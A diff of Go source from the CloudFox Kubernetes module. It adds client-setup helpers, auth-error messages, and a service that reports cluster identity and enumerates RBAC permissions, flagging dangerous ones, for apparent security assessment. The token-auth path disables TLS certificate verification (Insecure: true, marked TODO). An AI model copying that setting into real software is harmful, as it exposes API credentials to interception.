case []admissionv1.MutatingWebhookConfiguration:
|
||||
stats[key] = len(v)
|
||||
case []apiextensionsv1.CustomResourceDefinition:
|
||||
stats[key] = len(v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return stats
|
||||
}
|
||||
@@ -0,0 +1,368 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
apiextensionsclientset "k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/rest"
|
||||
"k8s.io/client-go/tools/clientcmd"
|
||||
)
|
||||
|
||||
var (
|
||||
clientsetOnce sync.Once
|
||||
dynamicOnce sync.Once
|
||||
restConfigOnce sync.Once
|
||||
apiextensionsOnce sync.Once
|
||||
sharedClientset *kubernetes.Clientset
|
||||
sharedDynamic dynamic.Interface
|
||||
sharedRestConfig *rest.Config
|
||||
sharedApiextensions *apiextensionsclientset.Clientset
|
||||
initErr error
|
||||
)
|
||||
|
||||
// ClientConfig holds the configuration for creating Kubernetes clients
|
||||
type ClientConfig struct {
|
||||
KubeconfigPath string
|
||||
Context string
|
||||
Token string
|
||||
APIServer string
|
||||
}
|
||||
|
||||
// GetClientConfig returns the current client configuration from globals
|
||||
func GetClientConfig() ClientConfig {
|
||||
return ClientConfig{
|
||||
KubeconfigPath: globals.KubeConfigPath,
|
||||
Context: globals.KubeContext,
|
||||
Token: globals.KubeToken,
|
||||
APIServer: globals.KubeAPIServer,
|
||||
}
|
||||
}
|
||||
|
||||
// ResolveKubeconfigPath resolves the kubeconfig path using standard precedence
|
||||
func ResolveKubeconfigPath(explicit string) string {
|
||||
if explicit != "" {
|
||||
return explicit
|
||||
}
|
||||
if env := os.Getenv("KUBECONFIG"); env != "" {
|
||||
return env
|
||||
}
|
||||
if globals.KubeConfigPath != "" {
|
||||
return globals.KubeConfigPath
|
||||
}
|
||||
if home, err := os.UserHomeDir(); err == nil {
|
||||
defaultPath := filepath.Join(home, ".kube", "config")
|
||||
if _, err := os.Stat(defaultPath); err == nil {
|
||||
return defaultPath
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// BuildRESTConfig creates a rest.Config from the provided configuration
|
||||
func BuildRESTConfig(cfg ClientConfig) (*rest.Config, error) {
|
||||
// Option 1: Token-based auth (for in-cluster or explicit token)
|
||||
if cfg.Token != "" {
|
||||
apiServer := cfg.APIServer
|
||||
if apiServer == "" && cfg.KubeconfigPath != "" {
|
||||
// Try to get API server from kubeconfig
|
||||
if config, err := clientcmd.BuildConfigFromFlags("", cfg.KubeconfigPath); err == nil && config.Host != "" {
|
||||
apiServer = config.Host
|
||||
}
|
||||
}
|
||||
if apiServer == "" {
|
||||
return nil, fmt.Errorf("API server URL required when using token auth")
|
||||
}
|
||||
return &rest.Config{
|
||||
Host: apiServer,
|
||||
BearerToken: cfg.Token,
|
||||
TLSClientConfig: rest.TLSClientConfig{
|
||||
Insecure: true, // TODO: Make configurable
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Option 2: Kubeconfig-based auth
|
||||
if cfg.KubeconfigPath != "" {
|
||||
loadingRules := &clientcmd.ClientConfigLoadingRules{ExplicitPath: cfg.KubeconfigPath}
|
||||
configOverrides := &clientcmd.ConfigOverrides{}
|
||||
if cfg.Context != "" {
|
||||
configOverrides.CurrentContext = cfg.Context
|
||||
}
|
||||
return clientcmd.NewNonInteractiveDeferredLoadingClientConfig(loadingRules, configOverrides).ClientConfig()
|
||||
}
|
||||
|
||||
// Option 3: In-cluster config
|
||||
return rest.InClusterConfig()
|
||||
}
|
||||
|
||||
// GetRESTConfig returns a cached REST config, creating it if necessary
|
||||
func GetRESTConfig() (*rest.Config, error) {
|
||||
restConfigOnce.Do(func() {
|
||||
cfg := GetClientConfig()
|
||||
cfg.KubeconfigPath = ResolveKubeconfigPath(cfg.KubeconfigPath)
|
||||
sharedRestConfig, initErr = BuildRESTConfig(cfg)
|
||||
})
|
||||
return sharedRestConfig, initErr
|
||||
}
|
||||
|
||||
// GetClientset returns a cached Kubernetes clientset
|
||||
func GetClientset() (*kubernetes.Clientset, error) {
|
||||
clientsetOnce.Do(func() {
|
||||
restConfig, err := GetRESTConfig()
|
||||
if err != nil {
|
||||
initErr = fmt.Errorf("failed to get REST config: %w", err)
|
||||
return
|
||||
}
|
||||
sharedClientset, initErr = kubernetes.NewForConfig(restConfig)
|
||||
})
|
||||
return sharedClientset, initErr
|
||||
}
|
||||
|
||||
// GetDynamicClient returns a cached dynamic client for CRDs
|
||||
func GetDynamicClient() (dynamic.Interface, error) {
|
||||
dynamicOnce.Do(func() {
|
||||
restConfig, err := GetRESTConfig()
|
||||
if err != nil {
|
||||
initErr = fmt.Errorf("failed to get REST config: %w", err)
|
||||
return
|
||||
}
|
||||
sharedDynamic, initErr = dynamic.NewForConfig(restConfig)
|
||||
})
|
||||
return sharedDynamic, initErr
|
||||
}
|
||||
|
||||
// GetApiextensionsClientset returns a cached apiextensions clientset for CRD operations
|
||||
func GetApiextensionsClientset() (*apiextensionsclientset.Clientset, error) {
|
||||
apiextensionsOnce.Do(func() {
|
||||
restConfig, err := GetRESTConfig()
|
||||
if err != nil {
|
||||
initErr = fmt.Errorf("failed to get REST config: %w", err)
|
||||
return
|
||||
}
|
||||
sharedApiextensions, initErr = apiextensionsclientset.NewForConfig(restConfig)
|
||||
})
|
||||
return sharedApiextensions, initErr
|
||||
}
|
||||
|
||||
// NewClientset creates a new clientset from the provided config (not cached)
|
||||
func NewClientset(cfg ClientConfig) (*kubernetes.Clientset, error) {
|
||||
restConfig, err := BuildRESTConfig(cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return kubernetes.NewForConfig(restConfig)
|
||||
}
|
||||
|
||||
// NewDynamicClient creates a new dynamic client from the provided config (not cached)
|
||||
func NewDynamicClient(cfg ClientConfig) (dynamic.Interface, error) {
|
||||
restConfig, err := BuildRESTConfig(cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dynamic.NewForConfig(restConfig)
|
||||
}
|
||||
|
||||
// ResetClients clears the cached clients (useful for testing)
|
||||
func ResetClients() {
|
||||
clientsetOnce = sync.Once{}
|
||||
dynamicOnce = sync.Once{}
|
||||
restConfigOnce = sync.Once{}
|
||||
apiextensionsOnce = sync.Once{}
|
||||
sharedClientset = nil
|
||||
sharedDynamic = nil
|
||||
sharedRestConfig = nil
|
||||
sharedApiextensions = nil
|
||||
initErr = nil
|
||||
}
|
||||
|
||||
// SuppressStderr temporarily redirects stderr to /dev/null and returns a restore function.
|
||||
// This is used to hide noisy output from auth plugins (gke-gcloud-auth-plugin, aws-iam-authenticator, etc.)
|
||||
// that write directly to stderr (fd 2) before we can catch errors.
|
||||
// Call the returned function to restore stderr when done.
|
||||
func SuppressStderr() func() {
|
||||
// Save original stderr file descriptor
|
||||
origStderrFd, dupErr := syscall.Dup(syscall.Stderr)
|
||||
|
||||
// Open /dev/null for writing
|
||||
devNull, nullErr := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
|
||||
// Redirect stderr to /dev/null if we successfully opened it
|
||||
stderrSuppressed := false
|
||||
if dupErr == nil && nullErr == nil {
|
||||
if err := syscall.Dup2(int(devNull.Fd()), syscall.Stderr); err == nil {
|
||||
stderrSuppressed = true
|
||||
}
|
||||
}
|
||||
|
||||
// Return restore function
|
||||
return func() {
|
||||
if stderrSuppressed {
|
||||
syscall.Dup2(origStderrFd, syscall.Stderr)
|
||||
syscall.Close(origStderrFd)
|
||||
}
|
||||
if devNull != nil {
|
||||
devNull.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateAuth checks if the current authentication is valid by making a simple API call.
|
||||
// Returns nil if auth is valid, or a user-friendly error message if not.
|
||||
func ValidateAuth(ctx context.Context) error {
|
||||
// Suppress stderr during auth check to hide noisy plugin errors
|
||||
restoreStderr := SuppressStderr()
|
||||
defer restoreStderr()
|
||||
|
||||
clientset, err := GetClientset()
|
||||
if err != nil {
|
||||
return formatAuthError(err)
|
||||
}
|
||||
|
||||
// Use a short timeout for the validation check
|
||||
validationCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// Try to get server version - this requires minimal permissions
|
||||
_, err = clientset.Discovery().ServerVersion()
|
||||
if err != nil {
|
||||
return formatAuthError(err)
|
||||
}
|
||||
|
||||
// Also try to list namespaces to verify RBAC is working
|
||||
_, err = clientset.CoreV1().Namespaces().List(validationCtx, metav1.ListOptions{Limit: 1})
|
||||
if err != nil {
|
||||
// This might fail due to RBAC, but auth errors will be different
|
||||
if isAuthError(err) {
|
||||
return formatAuthError(err)
|
||||
}
|
||||
// RBAC errors are OK - user is authenticated but may have limited permissions
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// isAuthError checks if an error is an authentication-related error
|
||||
func isAuthError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
errStr := strings.ToLower(err.Error())
|
||||
authIndicators := []string{
|
||||
"unauthorized",
|
||||
"authentication",
|
||||
"token expired",
|
||||
"token has expired",
|
||||
"credentials",
|
||||
"login",
|
||||
"exec plugin",
|
||||
"gke-gcloud-auth-plugin",
|
||||
"aws-iam-authenticator",
|
||||
"kubelogin",
|
||||
"azure",
|
||||
"x509",
|
||||
"certificate",
|
||||
"tls",
|
||||
"connection refused",
|
||||
"no such host",
|
||||
"dial tcp",
|
||||
"oauth2",
|
||||
"refresh token",
|
||||
}
|
||||
for _, indicator := range authIndicators {
|
||||
if strings.Contains(errStr, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// formatAuthError creates a user-friendly error message for authentication failures
|
||||
func formatAuthError(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
errStr := strings.ToLower(err.Error())
|
||||
|
||||
// Detect cloud provider and suggest fix
|
||||
switch {
|
||||
case strings.Contains(errStr, "gke-gcloud-auth-plugin") || strings.Contains(errStr, "gcloud"):
|
||||
return fmt.Errorf(`GCP authentication failed. Your session may have expired.
|
||||
|
||||
To fix:
|
||||
1. Run: gcloud auth login
|
||||
2. Run: gcloud container clusters get-credentials <cluster-name> --region <region>
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
case strings.Contains(errStr, "aws-iam-authenticator") || strings.Contains(errStr, "eks"):
|
||||
return fmt.Errorf(`AWS authentication failed. Your session may have expired.
|
||||
|
||||
To fix:
|
||||
1. Run: aws sso login --profile <profile> (if using SSO)
|
||||
2. Or run: aws configure (if using access keys)
|
||||
3. Then: aws eks update-kubeconfig --name <cluster-name> --region <region>
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
case strings.Contains(errStr, "kubelogin") || strings.Contains(errStr, "azure") || strings.Contains(errStr, "aks"):
|
||||
return fmt.Errorf(`Azure authentication failed. Your session may have expired.
|
||||
|
||||
To fix:
|
||||
1. Run: az login
|
||||
2. Run: az aks get-credentials --resource-group <rg> --name <cluster-name>
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
case strings.Contains(errStr, "x509") || strings.Contains(errStr, "certificate"):
|
||||
return fmt.Errorf(`TLS/Certificate error. The cluster certificate may be invalid or expired.
|
||||
|
||||
To fix:
|
||||
1. Check if your kubeconfig has valid certificates
|
||||
2. Re-fetch cluster credentials from your cloud provider
|
||||
3. For self-signed certs, ensure CA is properly configured
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
case strings.Contains(errStr, "connection refused") || strings.Contains(errStr, "dial tcp") || strings.Contains(errStr, "no such host"):
|
||||
return fmt.Errorf(`Cannot connect to Kubernetes API server.
|
||||
|
||||
Possible causes:
|
||||
1. Cluster is not running or not accessible
|
||||
2. VPN/network connection required
|
||||
3. Incorrect API server URL in kubeconfig
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
case strings.Contains(errStr, "unauthorized") || strings.Contains(errStr, "token"):
|
||||
return fmt.Errorf(`Authentication token is invalid or expired.
|
||||
|
||||
To fix:
|
||||
1. Re-authenticate with your cloud provider (gcloud/aws/az)
|
||||
2. Refresh your kubeconfig credentials
|
||||
3. Check if your service account token is still valid
|
||||
|
||||
Original error: %w`, err)
|
||||
|
||||
default:
|
||||
return fmt.Errorf(`Kubernetes authentication failed.
|
||||
|
||||
To fix:
|
||||
1. Verify your kubeconfig: kubectl config view
|
||||
2. Test connectivity: kubectl cluster-info
|
||||
3. Re-authenticate with your cloud provider if needed
|
||||
|
||||
Original error: %w`, err)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,738 @@
|
||||
package clusterInfoService
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/services/models"
|
||||
authenticationv1 "k8s.io/api/authentication/v1"
|
||||
authorizationv1 "k8s.io/api/authorization/v1"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/tools/clientcmd"
|
||||
)
|
||||
|
||||
// ClusterInfoService provides methods to get cluster and identity information
|
||||
type ClusterInfoService struct {
|
||||
clientset *kubernetes.Clientset
|
||||
}
|
||||
|
||||
// New creates a new ClusterInfoService using the shared clientset
|
||||
func New() (*ClusterInfoService, error) {
|
||||
clientset, err := sdk.GetClientset()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get clientset: %w", err)
|
||||
}
|
||||
return &ClusterInfoService{clientset: clientset}, nil
|
||||
}
|
||||
|
||||
// NewWithClientset creates a ClusterInfoService with a specific clientset
|
||||
func NewWithClientset(clientset *kubernetes.Clientset) *ClusterInfoService {
|
||||
return &ClusterInfoService{clientset: clientset}
|
||||
}
|
||||
|
||||
// GetClusterInfo returns comprehensive information about the cluster
|
||||
func (s *ClusterInfoService) GetClusterInfo(ctx context.Context) (*models.ClusterInfo, error) {
|
||||
// Try cache first
|
||||
cacheKey := sdk.CacheKey("cluster-info")
|
||||
if cached, found := sdk.Get(cacheKey); found {
|
||||
if info, ok := cached.(*models.ClusterInfo); ok {
|
||||
return info, nil
|
||||
}
|
||||
}
|
||||
|
||||
info := &models.ClusterInfo{}
|
||||
|
||||
// Use cluster name from globals (set by CLI using internal/kubernetes/clustername.go)
|
||||
info.Name = globals.ClusterName
|
||||
|
||||
// Get API server URL
|
||||
if s.clientset.RESTClient() != nil {
|
||||
apiURL := s.clientset.RESTClient().Get().URL()
|
||||
if apiURL != nil {
|
||||
info.APIServerURL = fmt.Sprintf("%s://%s", apiURL.Scheme, apiURL.Host)
|
||||
}
|
||||
}
|
||||
|
||||
// Get version info
|
||||
if version, err := s.clientset.Discovery().ServerVersion(); err == nil {
|
||||
info.Version = &models.VersionInfo{
|
||||
Major: version.Major,
|
||||
Minor: version.Minor,
|
||||
GitVersion: version.GitVersion,
|
||||
Platform: version.Platform,
|
||||
}
|
||||
}
|
||||
|
||||
// Detect cloud provider and metadata from nodes
|
||||
s.detectCloudMetadata(ctx, info)
|
||||
|
||||
// Cache the result
|
||||
sdk.Set(cacheKey, info)
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// GetIdentity returns the current authenticated identity
|
||||
func (s *ClusterInfoService) GetIdentity(ctx context.Context) (*models.Identity, error) {
|
||||
// Try cache first
|
||||
cacheKey := sdk.CacheKey("identity")
|
||||
if cached, found := sdk.Get(cacheKey); found {
|
||||
if identity, ok := cached.(*models.Identity); ok {
|
||||
return identity, nil
|
||||
}
|
||||
}
|
||||
|
||||
identity := &models.Identity{
|
||||
Source: models.IdentitySourceUnknown,
|
||||
}
|
||||
|
||||
// Method 1: Try kubeconfig extraction
|
||||
if user := s.extractUserFromKubeconfig(); user != "" {
|
||||
identity.KubeconfigUser = user
|
||||
}
|
||||
|
||||
// Method 2: Try modern SelfSubjectReview API (K8s 1.27+)
|
||||
if username, groups, err := s.trySelfSubjectReview(ctx); err == nil {
|
||||
identity.Username = username
|
||||
identity.Groups = groups
|
||||
identity.Source = models.IdentitySourceSelfSubjectReview
|
||||
} else {
|
||||
// Fallback: Try forbidden error parsing
|
||||
if username, groups := s.tryForbiddenErrorParsing(ctx); username != "" {
|
||||
identity.Username = username
|
||||
identity.Groups = groups
|
||||
identity.Source = models.IdentitySourceForbiddenError
|
||||
}
|
||||
}
|
||||
|
||||
// Method 3: Try ServiceAccount token decoding (in-cluster)
|
||||
if ns, name, err := s.decodeServiceAccountToken(); err == nil {
|
||||
identity.ServiceAccountNamespace = ns
|
||||
identity.ServiceAccountName = name
|
||||
if identity.Source == models.IdentitySourceUnknown {
|
||||
identity.Source = models.IdentitySourceServiceAccountToken
|
||||
identity.Username = fmt.Sprintf("system:serviceaccount:%s:%s", ns, name)
|
||||
}
|
||||
}
|
||||
|
||||
// Method 4: Extract RBAC binding info from SelfSubjectAccessReview
|
||||
s.extractRBACInfo(ctx, identity)
|
||||
|
||||
// If still no username, use kubeconfig user
|
||||
if identity.Username == "" && identity.KubeconfigUser != "" {
|
||||
identity.Username = identity.KubeconfigUser
|
||||
identity.Source = models.IdentitySourceKubeconfig
|
||||
}
|
||||
|
||||
// Cache the result
|
||||
sdk.Set(cacheKey, identity)
|
||||
|
||||
return identity, nil
|
||||
}
|
||||
|
||||
// GetPermissions enumerates permissions across namespaces
|
||||
func (s *ClusterInfoService) GetPermissions(ctx context.Context, namespaces []string) (*models.PermissionSummary, error) {
|
||||
summary := &models.PermissionSummary{
|
||||
NamespacePermissions: make(map[string][]string),
|
||||
DangerousPerms: []DangerousPermission{},
|
||||
}
|
||||
|
||||
for _, ns := range namespaces {
|
||||
perms, dangerous := s.enumerateNamespacePermissions(ctx, ns)
|
||||
if len(perms) > 0 {
|
||||
summary.NamespacePermissions[ns] = perms
|
||||
summary.TotalPermissions += len(perms)
|
||||
}
|
||||
summary.DangerousPerms = append(summary.DangerousPerms, dangerous...)
|
||||
}
|
||||
|
||||
summary.TotalNamespaces = len(summary.NamespacePermissions)
|
||||
summary.DangerousPermissions = len(summary.DangerousPerms)
|
||||
|
||||
// Calculate risk level
|
||||
summary.RiskLevel = s.calculateRiskLevel(summary)
|
||||
|
||||
return summary, nil
|
||||
}
|
||||
|
||||
// GetWhoami returns comprehensive whoami information
|
||||
func (s *ClusterInfoService) GetWhoami(ctx context.Context) (*models.WhoamiResult, error) {
|
||||
result := &models.WhoamiResult{}
|
||||
|
||||
// Get cluster info
|
||||
clusterInfo, err := s.GetClusterInfo(ctx)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get cluster info: %w", err)
|
||||
}
|
||||
result.Cluster = *clusterInfo
|
||||
|
||||
// Get identity
|
||||
identity, err := s.GetIdentity(ctx)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get identity: %w", err)
|
||||
}
|
||||
result.Identity = *identity
|
||||
|
||||
// Get namespaces for permission enumeration
|
||||
namespaces := s.getNamespaces(ctx)
|
||||
|
||||
// Get permissions
|
||||
permissions, err := s.GetPermissions(ctx, namespaces)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get permissions: %w", err)
|
||||
}
|
||||
|
||||
// Enrich with source information from RBAC
|
||||
permissionsWithSource := s.enumeratePermissionsWithSource(ctx, identity)
|
||||
permissions.PermissionsWithSource = permissionsWithSource
|
||||
|
||||
result.Permissions = *permissions
|
||||
|
||||
// Adjust risk level based on RBAC
|
||||
if identity.IsClusterAdmin() && result.Permissions.RiskLevel != "CRITICAL" {
|
||||
result.Permissions.RiskLevel = "CRITICAL"
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// enumeratePermissionsWithSource finds all permissions for the identity with their RBAC sources
|
||||
func (s *ClusterInfoService) enumeratePermissionsWithSource(ctx context.Context, identity *models.Identity) []models.PermissionWithSource {
|
||||
var perms []models.PermissionWithSource
|
||||
|
||||
// Build set of principals that match this identity
|
||||
principals := s.buildPrincipalSet(identity)
|
||||
|
||||
// Get ClusterRoles for reference (cached)
|
||||
clusterRolesList, err := sdk.GetClusterRoles(ctx, s.clientset)
|
||||
if err != nil {
|
||||
return perms
|
||||
}
|
||||
crMap := make(map[string]*rbacv1.ClusterRole)
|
||||
for i := range clusterRolesList {
|
||||
crMap[clusterRolesList[i].Name] = &clusterRolesList[i]
|
||||
}
|
||||
|
||||
// Check ClusterRoleBindings (cached)
|
||||
crbsList, err := sdk.GetClusterRoleBindings(ctx, s.clientset)
|
||||
if err == nil {
|
||||
for _, crb := range crbsList {
|
||||
// Find which subjects match the identity
|
||||
matchedSubjects := s.findMatchingSubjects(crb.Subjects, principals)
|
||||
if len(matchedSubjects) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
cr, ok := crMap[crb.RoleRef.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
// Extract permissions from this ClusterRole for each matching subject
|
||||
for _, subject := range matchedSubjects {
|
||||
for _, rule := range cr.Rules {
|
||||
rulePerms := s.extractPermissionsFromRule(rule, "cluster-wide", cr.Name, "ClusterRole", crb.Name, "ClusterRoleBinding", subject)
|
||||
perms = append(perms, rulePerms...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get all Roles (cached) and build map by namespace
|
||||
allRolesList, err := sdk.GetRoles(ctx, s.clientset)
|
||||
if err != nil {
|
||||
allRolesList = []rbacv1.Role{}
|
||||
}
|
||||
// Build namespace -> role name -> role map
|
||||
rolesByNS := make(map[string]map[string]*rbacv1.Role)
|
||||
for i := range allRolesList {
|
||||
role := &allRolesList[i]
|
||||
if rolesByNS[role.Namespace] == nil {
|
||||
rolesByNS[role.Namespace] = make(map[string]*rbacv1.Role)
|
||||
}
|
||||
rolesByNS[role.Namespace][role.Name] = role
|
||||
}
|
||||
|
||||
// Get all RoleBindings (cached)
|
||||
allRBsList, err := sdk.GetRoleBindings(ctx, s.clientset)
|
||||
if err != nil {
|
||||
allRBsList = []rbacv1.RoleBinding{}
|
||||
}
|
||||
|
||||
// Check RoleBindings in each namespace
|
||||
namespaces := s.getNamespaces(ctx)
|
||||
nsSet := make(map[string]struct{})
|
||||
for _, ns := range namespaces {
|
||||
nsSet[ns] = struct{}{}
|
||||
}
|
||||
|
||||
for _, rb := range allRBsList {
|
||||
// Only process RoleBindings in target namespaces
|
||||
if _, ok := nsSet[rb.Namespace]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
// Find which subjects match the identity
|
||||
matchedSubjects := s.findMatchingSubjects(rb.Subjects, principals)
|
||||
if len(matchedSubjects) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var rules []rbacv1.PolicyRule
|
||||
var roleName, roleKind string
|
||||
|
||||
if rb.RoleRef.Kind == "Role" {
|
||||
if roleMap, ok := rolesByNS[rb.Namespace]; ok {
|
||||
if role, ok := roleMap[rb.RoleRef.Name]; ok {
|
||||
rules = role.Rules
|
||||
roleName = role.Name
|
||||
roleKind = "Role"
|
||||
}
|
||||
}
|
||||
} else if rb.RoleRef.Kind == "ClusterRole" {
|
||||
if cr, ok := crMap[rb.RoleRef.Name]; ok {
|
||||
rules = cr.Rules
|
||||
roleName = cr.Name
|
||||
roleKind = "ClusterRole"
|
||||
}
|
||||
}
|
||||
|
||||
for _, subject := range matchedSubjects {
|
||||
for _, rule := range rules {
|
||||
rulePerms := s.extractPermissionsFromRule(rule, rb.Namespace, roleName, roleKind, rb.Name, "RoleBinding", subject)
|
||||
perms = append(perms, rulePerms...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return perms
|
||||
}
|
||||
|
||||
// buildPrincipalSet builds a set of all principals that match the identity
|
||||
func (s *ClusterInfoService) buildPrincipalSet(identity *models.Identity) map[string]bool {
|
||||
principals := make(map[string]bool)
|
||||
|
||||
// Add username
|
||||
if identity.Username != "" {
|
||||
principals[identity.Username] = true
|
||||
}
|
||||
|
||||
// Add groups
|
||||
for _, group := range identity.Groups {
|
||||
principals[group] = true
|
||||
}
|
||||
|
||||
// Add service account format
|
||||
if identity.IsServiceAccount() {
|
||||
saName := fmt.Sprintf("system:serviceaccount:%s:%s", identity.ServiceAccountNamespace, identity.ServiceAccountName)
|
||||
principals[saName] = true
|
||||
principals[identity.ServiceAccountName] = true
|
||||
}
|
||||
|
||||
return principals
|
||||
}
|
||||
|
||||
// bindingAppliesToIdentity checks if any subject in the binding matches the identity
|
||||
func (s *ClusterInfoService) bindingAppliesToIdentity(subjects []rbacv1.Subject, principals map[string]bool) bool {
|
||||
for _, subject := range subjects {
|
||||
switch subject.Kind {
|
||||
case "User":
|
||||
if principals[subject.Name] {
|
||||
return true
|
||||
}
|
||||
case "Group":
|
||||
if principals[subject.Name] {
|
||||
return true
|
||||
}
|
||||
case "ServiceAccount":
|
||||
saName := fmt.Sprintf("system:serviceaccount:%s:%s", subject.Namespace, subject.Name)
|
||||
if principals[saName] || principals[subject.Name] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// findMatchingSubjects returns all subjects that match the identity's principals
|
||||
func (s *ClusterInfoService) findMatchingSubjects(subjects []rbacv1.Subject, principals map[string]bool) []rbacv1.Subject {
|
||||
var matched []rbacv1.Subject
|
||||
for _, subject := range subjects {
|
||||
switch subject.Kind {
|
||||
case "User":
|
||||
if principals[subject.Name] {
|
||||
matched = append(matched, subject)
|
||||
}
|
||||
case "Group":
|
||||
if principals[subject.Name] {
|
||||
matched = append(matched, subject)
|
||||
}
|
||||
case "ServiceAccount":
|
||||
saName := fmt.Sprintf("system:serviceaccount:%s:%s", subject.Namespace, subject.Name)
|
||||
if principals[saName] || principals[subject.Name] {
|
||||
matched = append(matched, subject)
|
||||
}
|
||||
}
|
||||
}
|
||||
return matched
|
||||
}
|
||||
|
||||
// extractPermissionsFromRule extracts individual permissions from a PolicyRule with subject info
|
||||
func (s *ClusterInfoService) extractPermissionsFromRule(rule rbacv1.PolicyRule, namespace, roleName, roleKind, bindingName, bindingKind string, subject rbacv1.Subject) []models.PermissionWithSource {
|
||||
var perms []models.PermissionWithSource
|
||||
|
||||
apiGroups := rule.APIGroups
|
||||
if len(apiGroups) == 0 {
|
||||
apiGroups = []string{""}
|
||||
}
|
||||
|
||||
for _, verb := range rule.Verbs {
|
||||
for _, resource := range rule.Resources {
|
||||
for _, apiGroup := range apiGroups {
|
||||
perms = append(perms, models.PermissionWithSource{
|
||||
Namespace: namespace,
|
||||
Verb: verb,
|
||||
Resource: resource,
|
||||
APIGroup: apiGroup,
|
||||
RoleName: roleName,
|
||||
RoleKind: roleKind,
|
||||
BindingName: bindingName,
|
||||
BindingKind: bindingKind,
|
||||
SubjectName: subject.Name,
|
||||
SubjectKind: subject.Kind,
|
||||
SubjectNS: subject.Namespace,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return perms
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Private helper methods
|
||||
// ============================================================================
|
||||
|
||||
func (s *ClusterInfoService) detectCloudMetadata(ctx context.Context, info *models.ClusterInfo) {
|
||||
nodes, err := s.clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{Limit: 1})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
info.NodeCount = len(nodes.Items)
|
||||
|
||||
for _, node := range nodes.Items {
|
||||
providerID := node.Spec.ProviderID
|
||||
labels := node.GetLabels()
|
||||
|
||||
// Detect cloud provider
|
||||
switch {
|
||||
case strings.HasPrefix(providerID, "aws://"):
|
||||
info.CloudProvider = "AWS"
|
||||
case strings.HasPrefix(providerID, "gce://"):
|
||||
info.CloudProvider = "GCP"
|
||||
case strings.HasPrefix(providerID, "azure://"):
|
||||
info.CloudProvider = "Azure"
|
||||
}
|
||||
|
||||
// Extract region/zone
|
||||
if zone, ok := labels["topology.kubernetes.io/zone"]; ok {
|
||||
info.Zone = zone
|
||||
} else if zone, ok := labels["failure-domain.beta.kubernetes.io/zone"]; ok {
|
||||
info.Zone = zone
|
||||
}
|
||||
|
||||
if region, ok := labels["topology.kubernetes.io/region"]; ok {
|
||||
info.Region = region
|
||||
} else if region, ok := labels["failure-domain.beta.kubernetes.io/region"]; ok {
|
||||
info.Region = region
|
||||
}
|
||||
|
||||
break // Only need first node
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ClusterInfoService) extractUserFromKubeconfig() string {
|
||||
if globals.KubeConfigPath == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
kubeconfig, err := clientcmd.LoadFromFile(globals.KubeConfigPath)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
contextName := globals.KubeContext
|
||||
if contextName == "" {
|
||||
contextName = kubeconfig.CurrentContext
|
||||
}
|
||||
if contextName == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
ctx, ok := kubeconfig.Contexts[contextName]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
return ctx.AuthInfo
|
||||
}
|
||||
|
||||
